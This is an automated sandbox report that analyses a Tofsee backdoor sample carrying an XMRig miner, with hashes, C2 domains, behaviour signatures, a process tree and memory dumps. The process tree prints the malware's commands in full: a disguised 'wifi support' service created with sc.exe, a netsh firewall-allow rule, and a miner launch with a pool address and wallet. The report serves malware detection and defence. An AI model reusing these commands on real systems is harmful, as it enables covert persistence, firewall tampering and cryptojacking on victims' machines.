Analysis

  • max time kernel
    147s
  • max time network
    162s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    11/10/2023, 00:26

General

  • Target

    file.exe

  • Size

    294KB

  • MD5

    a8585854c7a75192794f345a352c62eb

  • SHA1

    84e1c2d35214090bfbd91d5d20d23c5a787beb45

  • SHA256

    577f7a89f71c92f7aa26e8edac4ba449327b75251b4aef85861d0fab35e3d7f5

  • SHA512

    7db0cecd08e50b08bcd9b1c9fd66060835bebe4e99534d1261813ce3cc74d7acfdbf1f10b86fff4eb2c00dfb6f7160d2600fb44bd75e52198cdc2ee71bb7375a

  • SSDEEP

    3072:Gyv5Sfz6m3uahPDRQLptm4Gvq4cS+oiCHbqdCLO30:xwfz6aPD2LptHaq5S+OHbqSO

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2688
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vsefigwi\
      2⤵
        PID:2760
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zlbocbtx.exe" C:\Windows\SysWOW64\vsefigwi\
        2⤵
          PID:2392
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vsefigwi binPath= "C:\Windows\SysWOW64\vsefigwi\zlbocbtx.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2500
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vsefigwi "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2304
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vsefigwi
          2⤵
          • Launches sc.exe
          PID:2820
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2632
      • C:\Windows\SysWOW64\vsefigwi\zlbocbtx.exe
        C:\Windows\SysWOW64\vsefigwi\zlbocbtx.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2492
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2560
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1036

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\zlbocbtx.exe

              Filesize

              11.3MB

              MD5

              9b90db86e45a3cd4185d37869ca8e49c

              SHA1

              c0a04280112a041e17b8fd5fd7284a7a3a186671

              SHA256

              04c86c694643feb612d79470d76032defc747e72eed3016ba925b9925ada380a

              SHA512

              0c345afdb9bfc941405a068c2af7d94a04cb9fde382dd82b55dd194f3dbd5d52f46f42f2740642e39aee02bfd406b2ae70691e1f29dca830ae658ee830156318

            • C:\Windows\SysWOW64\vsefigwi\zlbocbtx.exe

              Filesize

              11.3MB

              MD5

              9b90db86e45a3cd4185d37869ca8e49c

              SHA1

              c0a04280112a041e17b8fd5fd7284a7a3a186671

              SHA256

              04c86c694643feb612d79470d76032defc747e72eed3016ba925b9925ada380a

              SHA512

              0c345afdb9bfc941405a068c2af7d94a04cb9fde382dd82b55dd194f3dbd5d52f46f42f2740642e39aee02bfd406b2ae70691e1f29dca830ae658ee830156318

            • memory/1036-75-0x0000000000240000-0x0000000000331000-memory.dmp

              Filesize

              964KB

            • memory/1036-77-0x0000000000240000-0x0000000000331000-memory.dmp

              Filesize

              964KB

            • memory/1036-76-0x0000000000240000-0x0000000000331000-memory.dmp

              Filesize

              964KB

            • memory/1036-74-0x0000000000240000-0x0000000000331000-memory.dmp

              Filesize

              964KB

            • memory/1036-78-0x0000000000240000-0x0000000000331000-memory.dmp

              Filesize

              964KB

            • memory/1036-73-0x0000000000240000-0x0000000000331000-memory.dmp

              Filesize

              964KB

            • memory/1036-69-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/1036-65-0x0000000000240000-0x0000000000331000-memory.dmp

              Filesize

              964KB

            • memory/1036-63-0x0000000000240000-0x0000000000331000-memory.dmp

              Filesize

              964KB

            • memory/2492-19-0x0000000000400000-0x0000000002287000-memory.dmp

              Filesize

              30.5MB

            • memory/2492-11-0x0000000002440000-0x0000000002540000-memory.dmp

              Filesize

              1024KB

            • memory/2492-16-0x0000000000400000-0x0000000002287000-memory.dmp

              Filesize

              30.5MB

            • memory/2560-39-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-46-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-23-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2560-24-0x0000000001940000-0x0000000001B4F000-memory.dmp

              Filesize

              2.1MB

            • memory/2560-27-0x0000000001940000-0x0000000001B4F000-memory.dmp

              Filesize

              2.1MB

            • memory/2560-28-0x0000000000190000-0x0000000000196000-memory.dmp

              Filesize

              24KB

            • memory/2560-31-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-35-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-34-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-36-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-37-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-38-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-12-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2560-40-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-41-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-42-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-43-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-44-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-45-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-21-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2560-47-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-48-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-49-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-50-0x0000000000220000-0x0000000000230000-memory.dmp

              Filesize

              64KB

            • memory/2560-51-0x0000000000240000-0x0000000000245000-memory.dmp

              Filesize

              20KB

            • memory/2560-54-0x0000000000240000-0x0000000000245000-memory.dmp

              Filesize

              20KB

            • memory/2560-55-0x00000000054F0000-0x00000000058FB000-memory.dmp

              Filesize

              4.0MB

            • memory/2560-58-0x00000000054F0000-0x00000000058FB000-memory.dmp

              Filesize

              4.0MB

            • memory/2560-59-0x0000000000550000-0x0000000000557000-memory.dmp

              Filesize

              28KB

            • memory/2560-20-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2560-15-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2560-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2688-1-0x00000000023C0000-0x00000000024C0000-memory.dmp

              Filesize

              1024KB

            • memory/2688-8-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2688-6-0x0000000000400000-0x0000000002287000-memory.dmp

              Filesize

              30.5MB

            • memory/2688-7-0x00000000023C0000-0x00000000024C0000-memory.dmp

              Filesize

              1024KB

            • memory/2688-4-0x0000000000400000-0x0000000002287000-memory.dmp

              Filesize

              30.5MB

            • memory/2688-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB